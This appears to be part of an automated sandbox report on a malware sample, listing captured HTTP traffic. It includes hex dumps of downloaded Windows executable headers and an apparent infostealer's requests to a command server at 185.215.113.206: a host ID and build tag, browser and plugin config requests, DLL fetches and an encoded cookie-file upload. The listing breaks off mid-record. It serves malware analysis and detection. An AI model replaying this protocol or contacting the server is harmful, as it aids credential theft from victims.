Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 16:09:11 GMTContent-Type: application/octet-streamContent-Length: 1922048Last-Modified: Fri, 22 Nov 2024 16:00:36 GMTConnection: keep-aliveETag: "6740aaa4-1d5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4c 00 00 04 00 00 1f bb 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 25 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 25 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6f 63 6b 70 71 74 7a 00 40 1a 00 00 f0 31 00 00 36 1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 78 75 6c 6f 74 75 74 00 10 00 00 00 30 4c 00 00 04 00 00 00 2e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4c 00 00 22 00 00 00 32 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 16:10:10 GMTContent-Type: application/octet-streamContent-Length: 6821123Last-Modified: Fri, 22 Nov 2024 11:16:29 GMTConnection: keep-aliveETag: "6740680d-681503"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 75 0b 06 21 31 6a 68 72 31 6a 68 72 31 6a 68 72 85 f6 99 72 39 6a 68 72 85 f6 9b 72 bd 6a 68 72 85 f6 9a 72 3c 6a 68 72 b1 11 95 72 33 6a 68 72 b1 11 6c 73 23 6a 68 72 b1 11 6b 73 38 6a 68 72 b1 11 6d 73 05 6a 68 72 38 12 eb 72 38 6a 68 72 38 12 ef 72 33 6a 68 72 38 12 fb 72 36 6a 68 72 31 6a 69 72 3c 6b 68 72 bf 11 6d 73 17 6a 68 72 bf 11 68 73 30 6a 68 72 bf 11 97 72 30 6a 68 72 bf 11 6a 73 30 6a 68 72 52 69 63 68 31 6a 68 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 00 c8 1b 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 cc 02 00 00 7c 05 00 00 00 00 00 b0 a1 01 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 90 08 00 00 04 00 00 00 00 00 00 02 00 60 c1 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 30 c9 03 00 34 00 00 00 64 c9 03 00 50 00 00 00 00 a0 07 00 f8 df 00 00 00 50 07 00 fc 24 00 00 00 00 00 00 00 00 00 00 00 80 08 00 00 09 00 00 70 8e 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 03 00 40 01 00 00 00 00 00 00 00 00 00 00 00 e0 02 00 70 04 00 00 1c bc 03 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7e cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6a f8 00 00 00 e0 02 00 00 fa 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 6b 03 00 00 e0 03 00 00 14 00 00 00 ca 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 fc 24 00 00 00 50 07 00 00 26 00 00 00 de 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 00 03 00 00 00 80 07 00 00 04 00 00 00 04 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 5f 52 44 41 54 41 00 00 5c 01 00 00 00 90 07 00 00 02 00 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 df 00 00 00 a0 07 00 00 e0 00 00 00 0a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 09 00 00 00 80 08 00 00 0a 00 00 00 ea 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 16:10:27 GMTContent-Type: application/octet-streamContent-Length: 4377088Last-Modified: Fri, 22 Nov 2024 15:18:23 GMTConnection: keep-aliveETag: "6740a0bf-42ca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 30 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c4 00 00 04 00 00 25 54 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 15 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 14 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 67 64 7a 66 72 72 79 00 20 1b 00 00 00 a9 00 00 16 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6c 63 65 7a 6e 79 63 00 10 00 00 00 20 c4 00 00 06 00 00 00 a2 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 c4 00 00 22 00 00 00 a8 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 38 37 43 46 31 34 32 43 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="hwid"DA87CF142C8B2768236643------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="build"mars------CAEHDBAAECBFHJKFCFBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="message"browsers------KECBGCGCGIEGCBFHIIEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="message"plugins------CAAAAFBKFIECAAKECGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="message"fplugins------CFHCGHJDBFIIDGDHIJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAFHost: 185.215.113.206Content-Length: 7679Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 2d 2d 0d 0a Data Ascii: ------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IJDHCBGHJEGHJJKFHIIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="file"------GIIJEBAECGCBKECAAAEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKKKFIIJJKJKFIECBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4b 4b 46 49 49 4a 4a 4b 4a 4b 46 49 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4b 4b 46 49 49 4a 4a 4b 4a 4b 46 49 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4b 4b 46 49 49 4a 4a 4b 4a 4b 46 49 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4b 4b 46 49 49 4a 4a 4b 4a 4b 46 49 45 43 42 46 2d 2d 0d 0a Data Ascii: ------EHJKKKFIIJJKJKFIECBFContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------EHJKKKFIIJJKJKFIECBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKKKFIIJJKJKFIECBFContent-Disposition: form-data; name="file"------EHJKKKFIIJJKJKFIECBF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 